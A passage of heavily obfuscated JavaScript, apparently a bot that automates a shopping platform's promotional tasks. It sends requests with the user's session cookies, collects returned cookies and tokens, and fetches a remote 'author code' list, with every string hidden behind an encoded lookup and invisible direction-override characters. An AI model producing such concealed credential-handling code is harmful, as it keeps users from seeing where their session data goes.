_0x4057be={'iuFnd':_0xfc1d62[_0xf8d7('‫b3')],'UZsan':_0xfc1d62[_0xf8d7('‫b4')],'WLMSn':_0xfc1d62[_0xf8d7('‫b5')],'aIlRv':_0xfc1d62[_0xf8d7('‫b6')],'XQFxR':_0xfc1d62[_0xf8d7('‫b7')],'DjTxV':_0xfc1d62[_0xf8d7('‮b8')],'PAXRv':_0xfc1d62[_0xf8d7('‮b9')],'mvUrm':_0xfc1d62[_0xf8d7('‫ba')],'rTAOd':_0xfc1d62[_0xf8d7('‮bb')],'lGDLA':_0xfc1d62[_0xf8d7('‫bc')],'wFHoK':function(_0x384ee2,_0x48ced9){return _0xfc1d62[_0xf8d7('‫bd')](_0x384ee2,_0x48ced9);},'xpNpg':_0xfc1d62[_0xf8d7('‮be')],'HIpRM':function(_0x158fef,_0x53767d){return _0xfc1d62[_0xf8d7('‫bf')](_0x158fef,_0x53767d);},'jrkWD':_0xfc1d62[_0xf8d7('‮c0')],'GiCWf':_0xfc1d62[_0xf8d7('‮c1')],'OwzkA':_0xfc1d62[_0xf8d7('‮c2')],'eiUHB':_0xfc1d62[_0xf8d7('‮c3')],'Xbfzb':_0xfc1d62[_0xf8d7('‫c4')],'HXuxK':_0xfc1d62[_0xf8d7('‮c5')],'pIOhw':_0xfc1d62[_0xf8d7('‮c6')],'zhzbd':_0xfc1d62[_0xf8d7('‫c7')],'MotMd':_0xfc1d62[_0xf8d7('‫c8')],'IIzRT':function(_0x36d727,_0x24414d){return _0xfc1d62[_0xf8d7('‮c9')](_0x36d727,_0x24414d);},'YraSb':function(_0x4b26c0,_0xd92886){return _0xfc1d62[_0xf8d7('‫bf')](_0x4b26c0,_0xd92886);},'NIrDN':_0xfc1d62[_0xf8d7('‮ca')],'OYJYe':function(_0x1e9184){return _0xfc1d62[_0xf8d7('‮cb')](_0x1e9184);}};$[_0xf8d7('‫cc')](_0xfc1d62[_0xf8d7('‮cd')](taskUrl,_0x4fbe15,_0x44f210,_0x35251f),async(_0x4436d2,_0x17b628,_0x2c7049)=>{var _0x40ebbc={'PvGHe':_0x4057be[_0xf8d7('‫ce')],'GFVGa':_0x4057be[_0xf8d7('‫cf')]};try{if(_0x4057be[_0xf8d7('‮d0')](_0x4057be[_0xf8d7('‮d1')],_0x4057be[_0xf8d7('‮d1')])){if(_0x4436d2){if(_0x4057be[_0xf8d7('‫d2')](_0x4057be[_0xf8d7('‫d3')],_0x4057be[_0xf8d7('‫d3')])){for(let _0x21774b of _0x17b628[_0x4057be[_0xf8d7('‫ce')]][_0x4057be[_0xf8d7('‫cf')]][_0xf8d7('‮67')](',')){cookie=''+cookie+_0x21774b[_0xf8d7('‮67')](';')[0x0]+';';}}else{$[_0xf8d7('‫a')](_0x4436d2);}}else{if(_0x4057be[_0xf8d7('‮d0')](_0x4057be[_0xf8d7('‮d4')],_0x4057be[_0xf8d7('‮d4')])){if(_0x2c7049){if(_0x4057be[_0xf8d7('‮d0')](_0x4057be[_0xf8d7('‫d5')],_0x4057be[_0xf8d7('‫d5')])){_0x2c7049=JSON[_0xf8d7('‫d')](_0x2c7049);if(_0x2c7049[_0xf8d7('‫d6')]){if(_0x4057be[_0xf8d7('‫d2')](_0x4057be[_0xf8d7('‮d7')],_0x4057be[_0xf8d7('‮d8')])){switch(_0x4fbe15){case _0x4057be[_0xf8d7('‫d9')]:console[_0xf8d7('‫a')](_0x2c7049);break;case _0x4057be[_0xf8d7('‫da')]:break;case _0x4057be[_0xf8d7('‮db')]:console[_0xf8d7('‫a')](_0x2c7049);break;case _0x4057be[_0xf8d7('‮dc')]:console[_0xf8d7('‫a')](_0x2c7049[_0xf8d7('‮dd')][_0xf8d7('‫de')][_0xf8d7('‮a2')]);$[_0xf8d7('‮a2')]=_0x2c7049[_0xf8d7('‮dd')][_0xf8d7('‫de')][_0xf8d7('‮a2')];if(_0x4057be[_0xf8d7('‫df')]($[_0xf8d7('‮36')],0x1)){ownCode=_0x2c7049[_0xf8d7('‮dd')][_0xf8d7('‫de')][_0xf8d7('‮a2')];}break;default:break;}}else{for(let _0x2c8d80 of _0x17b628[_0x40ebbc[_0xf8d7('‮e0')]][_0x40ebbc[_0xf8d7('‫e1')]][_0xf8d7('‮67')](',')){cookie=''+cookie+_0x2c8d80[_0xf8d7('‮67')](';')[0x0]+';';}}}else{}}else{cookie=''+cookie+sk[_0xf8d7('‮67')](';')[0x0]+';';}}else{}}else{uuid=v[_0xf8d7('‮e2')](0x24)[_0xf8d7('‮e3')]();}}}else{return{'url':_0x35251f?_0xf8d7('‮e4')+_0x4fbe15:_0xf8d7('‮e5')+_0x4fbe15,'headers':{'Host':_0x4057be[_0xf8d7('‫e6')],'Accept':_0x4057be[_0xf8d7('‫e7')],'X-Requested-With':_0x4057be[_0xf8d7('‮e8')],'Accept-Language':_0x4057be[_0xf8d7('‫e9')],'Accept-Encoding':_0x4057be[_0xf8d7('‫ea')],'Content-Type':_0x4057be[_0xf8d7('‮eb')],'Origin':_0x4057be[_0xf8d7('‮ec')],'User-Agent':_0xf8d7('‫ed')+$[_0xf8d7('‮44')]+_0xf8d7('‫ee')+$[_0xf8d7('‮41')]+_0xf8d7('‫ef'),'Connection':_0x4057be[_0xf8d7('‫f0')],'Referer':$[_0xf8d7('‫56')],'Cookie':cookie},'body':_0x44f210};}}catch(_0x3312e6){$[_0xf8d7('‫a')](_0x3312e6);}finally{if(_0x4057be[_0xf8d7('‫f1')](_0x4057be[_0xf8d7('‮f2')],_0x4057be[_0xf8d7('‮f2')])){Host=process[_0xf8d7('‫7')][_0xf8d7('‫f3')];}else{_0x4057be[_0xf8d7('‮f4')](_0x2c10da);}}});});}function taskaccessLog(_0x3121a1,_0x496176,_0x4c87e8=0x0){var _0x3eff0b={'CrXJI':function(_0x3872fe,_0x1b1030){return _0x3872fe|_0x1b1030;},'VuihZ':function(_0x6a44a5,_0x504467){return _0x6a44a5*_0x504467;},'QqYwH':function(_0x2376b6,_0x3465ce){return _0x2376b6==_0x3465ce;},'FvIdZ':function(_0x374fad,_0x3284a0){return _0x374fad&_0x3284a0;},'sbHtF':function(_0x4f1c8b,_0x54a925){return _0x4f1c8b===_0x54a925;},'irPWr':_0xf8d7('‫f5'),'rYmZL':_0xf8d7('‫14'),'pjZbe':_0xf8d7('‫f6'),'fjqAU':function(_0x52748f,_0x29fb00){return _0x52748f!==_0x29fb00;},'aguIX':_0xf8d7('‫f7'),'EhLEe':_0xf8d7('‫f8'),'DwpoA':_0xf8d7('‫f9'),'yxhFg':function(_0x55ac40,_0x208ab0){return _0x55ac40+_0x208ab0;},'ugjsu':function(_0x3bdd0d,_0xbede60){return _0x3bdd0d+_0xbede60;},'tgIxG':function(_0x292f09){return _0x292f09();},'WykJp':function(_0xea0ec3,_0x48b39c,_0x4afd6a,_0x2418c1){return _0xea0ec3(_0x48b39c,_0x4afd6a,_0x2418c1);}};return new Promise(_0x37a1d6=>{var _0x29f7ee={'YdvmQ':function(_0x173840,_0x3b167a){return _0x3eff0b[_0xf8d7('‮fa')](_0x173840,_0x3b167a);},'msqGg':function(_0x51a90c,_0x267973){return _0x3eff0b[_0xf8d7('‫fb')](_0x51a90c,_0x267973);},'JxLhI':function(_0xc7e11c,_0x5afd9f){return _0x3eff0b[_0xf8d7('‫fc')](_0xc7e11c,_0x5afd9f);},'vlZPz':function(_0x42bbe7,_0x2962e7){return _0x3eff0b[_0xf8d7('‫fd')](_0x42bbe7,_0x2962e7);},'jSTQa':function(_0x4c9f31,_0x416dee){return _0x3eff0b[_0xf8d7('‮fe')](_0x4c9f31,_0x416dee);},'HfNrS':_0x3eff0b[_0xf8d7('‫ff')],'MbALN':_0x3eff0b[_0xf8d7('‫100')],'KcEZC':_0x3eff0b[_0xf8d7('‫101')],'TSYzO':function(_0x15c0c3,_0x9e17a){return _0x3eff0b[_0xf8d7('‮102')](_0x15c0c3,_0x9e17a);},'zWRYt':_0x3eff0b[_0xf8d7('‮103')],'mtthC':_0x3eff0b[_0xf8d7('‮104')],'tkZeg':_0x3eff0b[_0xf8d7('‮105')],'uJXrH':function(_0x167eee,_0x4f4b47){return _0x3eff0b[_0xf8d7('‮106')](_0x167eee,_0x4f4b47);},'COaRe':function(_0x30001f,_0x422db9){return _0x3eff0b[_0xf8d7('‫107')](_0x30001f,_0x422db9);},'BjyIa':function(_0x5c4735){return _0x3eff0b[_0xf8d7('‮108')](_0x5c4735);}};$[_0xf8d7('‫cc')](_0x3eff0b[_0xf8d7('‮109')](taskUrl,_0x3121a1,_0x496176,_0x4c87e8),async(_0x4de51d,_0x1f473b,_0xa6e99d)=>{var _0x1b73e5={'hOznZ':function(_0x748e9,_0x573828){return _0x29f7ee[_0xf8d7('‮10a')](_0x748e9,_0x573828);},'oOZjF':function(_0x57f529,_0x56d696){return _0x29f7ee[_0xf8d7('‫10b')](_0x57f529,_0x56d696);},'oJcxT':function(_0x3b2b99,_0x14f7c6){return _0x29f7ee[_0xf8d7('‫10c')](_0x3b2b99,_0x14f7c6);},'yvevH':function(_0xc5ade6,_0x291706){return _0x29f7ee[_0xf8d7('‮10a')](_0xc5ade6,_0x291706);},'rEugY':function(_0x387cac,_0x725161){return _0x29f7ee[_0xf8d7('‮10d')](_0x387cac,_0x725161);}};if(_0x29f7ee[_0xf8d7('‮10e')](_0x29f7ee[_0xf8d7('‮10f')],_0x29f7ee[_0xf8d7('‮10f')])){try{if(_0x4de51d){$[_0xf8d7('‫a')](_0x4de51d);}else{if(_0x1f473b[_0x29f7ee[_0xf8d7('‮110')]][_0x29f7ee[_0xf8d7('‫111')]]){if(_0x29f7ee[_0xf8d7('‫112')](_0x29f7ee[_0xf8d7('‫113')],_0x29f7ee[_0xf8d7('‫113')])){if(_0xa6e99d)_0xa6e99d=JSON[_0xf8d7('‫d')](_0xa6e99d);$[_0xf8d7('‮29')]=!![];}else{cookie=originCookie+';';for(let _0x3deb71 of _0x1f473b[_0x29f7ee[_0xf8d7('‮110')]][_0x29f7ee[_0xf8d7('‫111')]]){if(_0x29f7ee[_0xf8d7('‫112')](_0x29f7ee[_0xf8d7('‮114')],_0x29f7ee[_0xf8d7('‫115')])){lz_cookie[_0x3deb71[_0xf8d7('‮67')](';')[0x0][_0xf8d7('‫116')](0x0,_0x3deb71[_0xf8d7('‮67')](';')[0x0][_0xf8d7('‮117')]('='))]=_0x3deb71[_0xf8d7('‮67')](';')[0x0][_0xf8d7('‫116')](_0x29f7ee[_0xf8d7('‮118')](_0x3deb71[_0xf8d7('‮67')](';')[0x0][_0xf8d7('‮117')]('='),0x1));}else{console[_0xf8d7('‫a')](_0x4de51d);}}for(const _0x4e0fc1 of Object[_0xf8d7('‫4')](lz_cookie)){cookie+=_0x29f7ee[_0xf8d7('‮118')](_0x29f7ee[_0xf8d7('‮119')](_0x29f7ee[_0xf8d7('‮119')](_0x4e0fc1,'='),lz_cookie[_0x4e0fc1]),';');}}}}}catch(_0x5b3cfb){console[_0xf8d7('‫a')](_0x5b3cfb);}finally{_0x29f7ee[_0xf8d7('‫11a')](_0x37a1d6);}}else{return format[_0xf8d7('‮11b')](/[xy]/g,function(_0x2a036e){var _0x1db696=_0x1b73e5[_0xf8d7('‮11c')](_0x1b73e5[_0xf8d7('‫11d')](Math[_0xf8d7('‮11e')](),0x10),0x0),_0x4f6af5=_0x1b73e5[_0xf8d7('‮11f')](_0x2a036e,'x')?_0x1db696:_0x1b73e5[_0xf8d7('‮120')](_0x1b73e5[_0xf8d7('‮121')](_0x1db696,0x3),0x8);if(UpperCase){uuid=_0x4f6af5[_0xf8d7('‮e2')](0x24)[_0xf8d7('‮e3')]();}else{uuid=_0x4f6af5[_0xf8d7('‮e2')](0x24);}return uuid;});}});});}function getAuthorCodeList(_0x1c15fb){var _0x1783ab={'CchaN':function(_0x6b1d5b,_0x2b6feb){return _0x6b1d5b===_0x2b6feb;},'nXcDN':_0xf8d7('‫70'),'HMiqj':_0xf8d7('‫122'),'zsmXN':_0xf8d7('‮123'),'IIySr':_0xf8d7('‮124'),'wOpsx':function(_0x16b53b,_0x1543b2){return _0x16b53b(_0x1543b2);},'aSKbT':_0xf8d7('‫125')};return new Promise(_0x1f9d8c=>{var _0x1460bb={'JGJeV':function(_0x490e77,_0x5d1ef7){return _0x1783ab[_0xf8d7('‫126')](_0x490e77,_0x5d1ef7);},'ozMtT':_0x1783ab[_0xf8d7('‫127')],'lgicI':_0x1783ab[_0xf8d7('‫128')],'LgTfN':_0x1783ab[_0xf8d7('‮129')],'aCjqt':_0x1783ab[_0xf8d7('‫12a')],'XuYEA':function(_0x42684c,_0x5555aa){return _0x1783ab[_0xf8d7('‮12b')](_0x42684c,_0x5555aa);}};const _0x3ab5f0={'url':_0x1c15fb+'?'+new Date(),'timeout':0x2710,'headers':{'User-Agent':_0x1783ab[_0xf8d7('‫12c')]}};$[_0xf8d7('‮12d')](_0x3ab5f0,async(_0x29f8cb,_0x2e1326,_0x24112f)=>{var _0x15ec69={'IIdgN':function(_0x3875cd,_0xeb35bb){return _0x1460bb[_0xf8d7('‮12e')](_0x3875cd,_0xeb35bb);},'AGuTb':_0x1460bb[_0xf8d7('‮12f')]};if(_0x1460bb[_0xf8d7('‮12e')](_0x1460bb[_0xf8d7('‫130')],_0x1460bb[_0xf8d7('‫130')])){try{if(_0x29f8cb){$[_0xf8d7('‮29')]=![];}else{if(_0x24112f)_0x24112f=JSON[_0xf8d7('‫d')](_0x24112f);$[_0xf8d7('‮29')]=!![];}}catch(_0x5c9a52){$[_0xf8d7('‫131')](_0x5c9a52,_0x2e1326);_0x24112f=null;}finally{if(_0x1460bb[_0xf8d7('‮12e')](_0x1460bb[_0xf8d7('‫132')],_0x1460bb[_0xf8d7('‮133')])){$[_0xf8d7('‫6f')]();}else{_0x1460bb[_0xf8d7('‮134')](_0x1f9d8c,_0x24112f);}}}else{if(_0x24112f){_0x24112f=JSON[_0xf8d7('‫d')](_0x24112f);if(_0x15ec69[_0xf8d7('‮135')](_0x24112f[_0xf8d7('‫136')],'0')){$[_0xf8d7('‮7b')]=_0x24112f[_0xf8d7('‮7b')];}}else{$[_0xf8d7('‫a')](_0x15ec69[_0xf8d7('‫137')]);}}});});}function taskUrl(_0xb30aa0,_0x153e90,_0x2ac297){var _0x238712={'mmzUs':_0xf8d7('‮a3'),'MxlBm':_0xf8d7('‫a4'),'TZPGd':_0xf8d7('‮a5'),'VnUHx':_0xf8d7('‮a6'),'DQNhI':_0xf8d7('‮a7'),'OcXIM':_0xf8d7('‫a8'),'uOGxf':_0xf8d7('‫a9'),'sKnRL':_0xf8d7('‮aa')};return{'url':_0x2ac297?_0xf8d7('‮e4')+_0xb30aa0:_0xf8d7('‮e5')+_0xb30aa0,'headers':{'Host':_0x238712[_0xf8d7('‫138')],'Accept':_0x238712[_0xf8d7('‮139')],'X-Requested-With':_0x238712[_0xf8d7('‮13a')],'Accept-Language':_0x238712[_0xf8d7('‫13b')],'Accept-Encoding':_0x238712[_0xf8d7('‫13c')],'Content-Type':_0x238712[_0xf8d7('‮13d')],'Origin':_0x238712[_0xf8d7('‮13e')],'User-Agent':_0xf8d7('‫ed')+$[_0xf8d7('‮44')]+_0xf8d7('‫ee')+$[_0xf8d7('‮41')]+_0xf8d7('‫ef'),'Connection':_0x238712[_0xf8d7('‮13f')],'Referer':$[_0xf8d7('‫56')],'Cookie':cookie},'body':_0x153e90};}function getMyPing(){var _0x2fc004={'nfhtu':function(_0x39e15e){return _0x39e15e();},'uaDPT':function(_0xe26f49,_0x48aa5f){return _0xe26f49|_0x48aa5f;},'RTShb':function(_0x5b6fd7,_0x36d21b){return _0x5b6fd7*_0x36d21b;},'vKuVH':function(_0x2729a2,_0x2634f6){return _0x2729a2==_0x2634f6;},'fraMN':function(_0x33e236,_0x47ddca){return _0x33e236&_0x47ddca;},'OpovQ':function(_0xbc01c2,_0x553a83){return _0xbc01c2(_0x553a83);},'unnse':function(_0x2a7776,_0x348803){return _0x2a7776!==_0x348803;},'guRGH':_0xf8d7('‫140'),'fBFif':_0xf8d7('‫141'),'NTmOy':_0xf8d7('‫142'),'FbAgM':_0xf8d7('‮143'),'WEwDA':_0xf8d7('‫14'),'sKaAt':_0xf8d7('‫f6'),'fZqis':_0xf8d7('‮15'),'cZMrQ':function(_0x4d16ba,_0x5e074f){return _0x4d16ba===_0x5e074f;},'jrdzr':_0xf8d7('‮144'),'qKnLm':_0xf8d7('‫70'),'easJH':_0xf8d7('‫145'),'HlvQG':_0xf8d7('‫146'),'yxjwy':_0xf8d7('‫147'),'fcrsk':_0xf8d7('‮148'),'Oujyv':_0xf8d7('‮a3'),'HPMoQ':_0xf8d7('‫a4'),'idbuK':_0xf8d7('‮a5'),'QwNhZ':_0xf8d7('‮a6'),'FLPAx':_0xf8d7('‮a7'),'XwsaX':_0xf8d7('‫a8'),'eppHY':_0xf8d7('‫a9'),'yFomt':_0xf8d7('‮aa')};let _0x5bd728={'url':_0xf8d7('‫149'),'headers':{'Host':_0x2fc004[_0xf8d7('‮14a')],'Accept':_0x2fc004[_0xf8d7('‫14b')],'X-Requested-With':_0x2fc004[_0xf8d7('‮14c')],'Accept-Language':_0x2fc004[_0xf8d7('‫14d')],'Accept-Encoding':_0x2fc004[_0xf8d7('‮14e')],'Content-Type':_0x2fc004[_0xf8d7('‮14f')],'Origin':_0x2fc004[_0xf8d7('‫150')],'User-Agent':_0xf8d7('‫ed')+$[_0xf8d7('‮44')]+_0xf8d7('‫ee')+$[_0xf8d7('‮41')]+_0xf8d7('‫ef'),'Connection':_0x2fc004[_0xf8d7('‮151')],'Referer':$[_0xf8d7('‫56')],'Cookie':cookie},'body':_0xf8d7('‮152')+$[_0xf8d7('‫54')]+_0xf8d7('‫153')+$[_0xf8d7('‮7b')]+_0xf8d7('‫154')};return new Promise(_0x13f6dd=>{var _0x4be987={'ejowR':function(_0x56df33){return _0x2fc004[_0xf8d7('‮155')](_0x56df33);},'zZOqD':function(_0x5c7367,_0x1203e8){return _0x2fc004[_0xf8d7('‮156')](_0x5c7367,_0x1203e8);},'PxDbF':function(_0x455bb0,_0x5943db){return _0x2fc004[_0xf8d7('‮157')](_0x455bb0,_0x5943db);},'tVHvp':function(_0x408068,_0x23d92a){return _0x2fc004[_0xf8d7('‫158')](_0x408068,_0x23d92a);},'kQDgH':function(_0x399be,_0x84e354){return _0x2fc004[_0xf8d7('‮159')](_0x399be,_0x84e354);},'arXce':function(_0x2891d1,_0x7c9d8b){return _0x2fc004[_0xf8d7('‫15a')](_0x2891d1,_0x7c9d8b);},'suLDn':function(_0x2fa52d,_0x3b5bdc){return _0x2fc004[_0xf8d7('‫15b')](_0x2fa52d,_0x3b5bdc);},'hSkSx':_0x2fc004[_0xf8d7('‮15c')],'puopH':_0x2fc004[_0xf8d7('‫15d')],'OskrA':_0x2fc004[_0xf8d7('‮15e')],'HoeQi':_0x2fc004[_0xf8d7('‫15f')],'odTKP':_0x2fc004[_0xf8d7('‫160')],'SAaFc':_0x2fc004[_0xf8d7('‮161')],'hhQiA':_0x2fc004[_0xf8d7('‫162')],'vZLbg':function(_0x257632,_0x929c26){return _0x2fc004[_0xf8d7('‫163')](_0x257632,_0x929c26);},'RSkWT':_0x2fc004[_0xf8d7('‫164')],'wRPWf':_0x2fc004[_0xf8d7('‮165')],'vEzRT':function(_0x5d245d,_0x1f52b9){return _0x2fc004[_0xf8d7('‫163')](_0x5d245d,_0x1f52b9);},'SlVwY':_0x2fc004[_0xf8d7('‮166')],'blCLR':_0x2fc004[_0xf8d7('‫167')]};if(_0x2fc004[_0xf8d7('‫163')](_0x2fc004[_0xf8d7('‮168')],_0x2fc004[_0xf8d7('‫169')])){_0x4be987[_0xf8d7('‫16a')](_0x13f6dd);}else{$[_0xf8d7('‫cc')](_0x5bd728,(_0x2be8d9,_0x29f746,_0x5d9692)=>{var _0x487ad5={'dkdZh':function(_0x478411){return _0x4be987[_0xf8d7('‫16a')](_0x478411);},'rbmyG':function(_0x3a63d7,_0x133f7e){return _0x4be987[_0xf8d7('‮16b')](_0x3a63d7,_0x133f7e);}};try{if(_0x4be987[_0xf8d7('‫16c')](_0x4be987[_0xf8d7('‮16d')],_0x4be987[_0xf8d7('‮16e')])){if(_0x2be8d9){if(_0x4be987[_0xf8d7('‫16c')](_0x4be987[_0xf8d7('‮16f')],_0x4be987[_0xf8d7('‮170')])){$[_0xf8d7('‫a')](_0x2be8d9);}else{var _0x3d9018=_0x4be987[_0xf8d7('‮171')](_0x4be987[_0xf8d7('‮172')](Math[_0xf8d7('‮11e')](),0x10),0x0),_0x2028d8=_0x4be987[_0xf8d7('‮173')](c,'x')?_0x3d9018:_0x4be987[_0xf8d7('‮171')](_0x4be987[_0xf8d7('‮174')](_0x3d9018,0x3),0x8);if(UpperCase){uuid=_0x2028d8[_0xf8d7('‮e2')](0x24)[_0xf8d7('‮e3')]();}else{uuid=_0x2028d8[_0xf8d7('‮e2')](0x24);}return uuid;}}else{if(_0x29f746[_0x4be987[_0xf8d7('‫175')]][_0x4be987[_0xf8d7('‫176')]]){cookie=''+originCookie;if($[_0xf8d7('‫1')]()){for(let _0x5641a7 of _0x29f746[_0x4be987[_0xf8d7('‫175')]][_0x4be987[_0xf8d7('‫176')]]){cookie=''+cookie+_0x5641a7[_0xf8d7('‮67')](';')[0x0]+';';}}else{for(let _0x2aec12 of _0x29f746[_0x4be987[_0xf8d7('‫175')]][_0x4be987[_0xf8d7('‮177')]][_0xf8d7('‮67')](',')){if(_0x4be987[_0xf8d7('‫178')](_0x4be987[_0xf8d7('‫179')],_0x4be987[_0xf8d7('‫179')])){cookie=''+cookie+_0x2aec12[_0xf8d7('‮67')](';')[0x0]+';';}else{$[_0xf8d7('‫a')](_0x2be8d9);}}}}if(_0x29f746[_0x4be987[_0xf8d7('‫175')]][_0x4be987[_0xf8d7('‮177')]]){cookie=''+originCookie;if($[_0xf8d7('‫1')]()){for(let _0x547d64 of _0x29f746[_0x4be987[_0xf8d7('‫175')]][_0x4be987[_0xf8d7('‫176')]]){cookie=''+cookie+_0x547d64[_0xf8d7('‮67')](';')[0x0]+';';}}else{for(let _0x599af5 of _0x29f746[_0x4be987[_0xf8d7('‫175')]][_0x4be987[_0xf8d7('‮177')]][_0xf8d7('‮67')](',')){cookie=''+cookie+_0x599af5[_0xf8d7('‮67')](';')[0x0]+';';}}}if(_0x5d9692){_0x5d9692=JSON[_0xf8d7('‫d')](_0x5d9692);if(_0x5d9692[_0xf8d7('‫d6')]){$[_0xf8d7('‫a')](_0xf8d7('‮17a')+_0x5d9692[_0xf8d7('‮dd')][_0xf8d7('‫17b')]);$[_0xf8d7('‫17c')]=_0x5d9692[_0xf8d7('‮dd')][_0xf8d7('‫17b')];$[_0xf8d7('‫5c')]=_0x5d9692[_0xf8d7('‮dd')][_0xf8d7('‫5c')];cookie=cookie+_0xf8d7('‫17d')+_0x5d9692[_0xf8d7('‮dd')][_0xf8d7('‫5c')];}else{$[_0xf8d7('‫a')](_0x5d9692[_0xf8d7('‮17e')]);}}else{$[_0xf8d7('‫a')](_0x4be987[_0xf8d7('‮17f')]);}}}else{_0x487ad5[_0xf8d7('‫180')](_0x13f6dd);}}catch(_0x39039c){$[_0xf8d7('‫a')](_0x39039c);}finally{if(_0x4be987[_0xf8d7('‮181')](_0x4be987[_0xf8d7('‫182')],_0x4be987[_0xf8d7('‫183')])){_0x487ad5[_0xf8d7('‫184')](_0x13f6dd,_0x5d9692);}else{_0x4be987[_0xf8d7('‫16a')](_0x13f6dd);}}});}});}function getFirstLZCK(){var _0x2128ad={'dbYXb':function(_0x2677a0,_0x46fdf9){return _0x2677a0*_0x46fdf9;},'QWvge':_0xf8d7('‫14'),'mkHWB':_0xf8d7('‫f6'),'jnVmF':function(_0x1bc879,_0x21c161){return _0x1bc879(_0x21c161);},'fPkLx':function(_0x5996ee,_0x98a972){return _0x5996ee+_0x98a972;},'ZOQyE':function(_0x2f55a2,_0x587308){return _0x2f55a2+_0x587308;},'dmvux':function(_0x1c179f,_0x484908){return _0x1c179f!==_0x484908;},'LUFZK':_0xf8d7('‫185'),'ehBtb':function(_0x59d2e9,_0x18f281){return _0x59d2e9===_0x18f281;},'TkPqS':_0xf8d7('‫186'),'cifNb':_0xf8d7('‮187'),'nweou':_0xf8d7('‫188'),'RUynd':_0xf8d7('‮15'),'QcTfw':_0xf8d7('‫189'),'YoClQ':_0xf8d7('‮18a'),'HaLCc':_0xf8d7('‫18b'),'iPJrJ':_0xf8d7('‮18c'),'VTHft':_0xf8d7('‮18d'),'PemvA':_0xf8d7('‮18e'),'VoGex':_0xf8d7('‮18f'),'LtMtu':function(_0x40a1a9){return _0x40a1a9();},'sGeWq':_0xf8d7('‫190'),'HziWT':_0xf8d7('‮191'),'bjssG':_0xf8d7('‫192'),'RhRSf':_0xf8d7('‫193')};return new Promise(_0x225e14=>{var _0x414dfb={'fZmrL':_0x2128ad[_0xf8d7('‫194')],'cZgEq':_0x2128ad[_0xf8d7('‫195')],'STSAX':function(_0x43043e,_0x10fcb4){return _0x2128ad[_0xf8d7('‮196')](_0x43043e,_0x10fcb4);},'sJYpP':function(_0x1c93cb,_0xf5e7a1){return _0x2128ad[_0xf8d7('‮197')](_0x1c93cb,_0xf5e7a1);},'AriPi':function(_0x211743,_0x4ad92d){return _0x2128ad[_0xf8d7('‮198')](_0x211743,_0x4ad92d);},'ZYZtn':function(_0xd82d37,_0x5c662f){return _0x2128ad[_0xf8d7('‫199')](_0xd82d37,_0x5c662f);},'SEhYQ':_0x2128ad[_0xf8d7('‮19a')],'ghHLR':function(_0x3d0f6b,_0x3ce497){return _0x2128ad[_0xf8d7('‮19b')](_0x3d0f6b,_0x3ce497);},'DEMRe':_0x2128ad[_0xf8d7('‮19c')],'yQCzA':_0x2128ad[_0xf8d7('‫19d')],'QJzDy':_0x2128ad[_0xf8d7('‮19e')],'JgXMO':_0x2128ad[_0xf8d7('‮19f')],'vDgyj':function(_0x837741,_0x115663){return _0x2128ad[_0xf8d7('‫199')](_0x837741,_0x115663);},'CEvbn':_0x2128ad[_0xf8d7('‫1a0')],'yCbJd':_0x2128ad[_0xf8d7('‮1a1')],'PJzhI':_0x2128ad[_0xf8d7('‫1a2')],'nBXxg':_0x2128ad[_0xf8d7('‮1a3')],'DBHUU':function(_0x15766e,_0x31af07){return _0x2128ad[_0xf8d7('‮19b')](_0x15766e,_0x31af07);},'cSdok':_0x2128ad[_0xf8d7('‮1a4')],'sGxiR':_0x2128ad[_0xf8d7('‮1a5')],'BhtUI':_0x2128ad[_0xf8d7('‫1a6')],'WjLjC':function(_0x7fa56b){return _0x2128ad[_0xf8d7('‮1a7')](_0x7fa56b);}};if(_0x2128ad[_0xf8d7('‫199')](_0x2128ad[_0xf8d7('‮1a8')],_0x2128ad[_0xf8d7('‮1a8')])){Host=HostArr[Math[_0xf8d7('‮1a9')](_0x2128ad[_0xf8d7('‫1aa')](Math[_0xf8d7('‮11e')](),HostArr[_0xf8d7('‫2f')]))];}else{$[_0xf8d7('‮12d')]({'url':$[_0xf8d7('‫56')],'headers':{'user-agent':$[_0xf8d7('‫1')]()?process[_0xf8d7('‫7')][_0xf8d7('‫1ab')]?process[_0xf8d7('‫7')][_0xf8d7('‫1ab')]:_0x2128ad[_0xf8d7('‮196')](require,_0x2128ad[_0xf8d7('‫1ac')])[_0xf8d7('‫1ad')]:$[_0xf8d7('‮b')](_0x2128ad[_0xf8d7('‮1ae')])?$[_0xf8d7('‮b')](_0x2128ad[_0xf8d7('‮1ae')]):_0x2128ad[_0xf8d7('‫1af')]}},(_0x24b28e,_0x2d413e,_0x143b72)=>{var _0x20fdf6={'dlJWf':_0x414dfb[_0xf8d7('‮1b0')],'dvVvj':_0x414dfb[_0xf8d7('‫1b1')],'uwsbr':function(_0x311440,_0x12af6e){return _0x414dfb[_0xf8d7('‮1b2')](_0x311440,_0x12af6e);},'boItw':function(_0x3b0702,_0x453361){return _0x414dfb[_0xf8d7('‮1b3')](_0x3b0702,_0x453361);}};try{if(_0x414dfb[_0xf8d7('‫1b4')](_0x414dfb[_0xf8d7('‮1b5')],_0x414dfb[_0xf8d7('‮1b5')])){$[_0xf8d7('‫a')](_0x24b28e);}else{if(_0x24b28e){if(_0x414dfb[_0xf8d7('‮1b6')](_0x414dfb[_0xf8d7('‮1b7')],_0x414dfb[_0xf8d7('‫1b8')])){$[_0xf8d7('‫a')]('','❌\x20'+$[_0xf8d7('‮2b')]+_0xf8d7('‮6d')+e+'!','');}else{console[_0xf8d7('‫a')](_0x24b28e);}}else{if(_0x2d413e[_0x414dfb[_0xf8d7('‮1b0')]][_0x414dfb[_0xf8d7('‫1b1')]]){cookie=''+originCookie;if($[_0xf8d7('‫1')]()){if(_0x414dfb[_0xf8d7('‫1b4')](_0x414dfb[_0xf8d7('‮1b9')],_0x414dfb[_0xf8d7('‮1b9')])){if(_0x2d413e[_0x20fdf6[_0xf8d7('‮1ba')]][_0x20fdf6[_0xf8d7('‮1bb')]]){cookie=originCookie+';';for(let _0x44997f of _0x2d413e[_0x20fdf6[_0xf8d7('‮1ba')]][_0x20fdf6[_0xf8d7('‮1bb')]]){lz_cookie[_0x44997f[_0xf8d7('‮67')](';')[0x0][_0xf8d7('‫116')](0x0,_0x44997f[_0xf8d7('‮67')](';')[0x0][_0xf8d7('‮117')]('='))]=_0x44997f[_0xf8d7('‮67')](';')[0x0][_0xf8d7('‫116')](_0x20fdf6[_0xf8d7('‫1bc')](_0x44997f[_0xf8d7('‮67')](';')[0x0][_0xf8d7('‮117')]('='),0x1));}for(const _0x93ce30 of 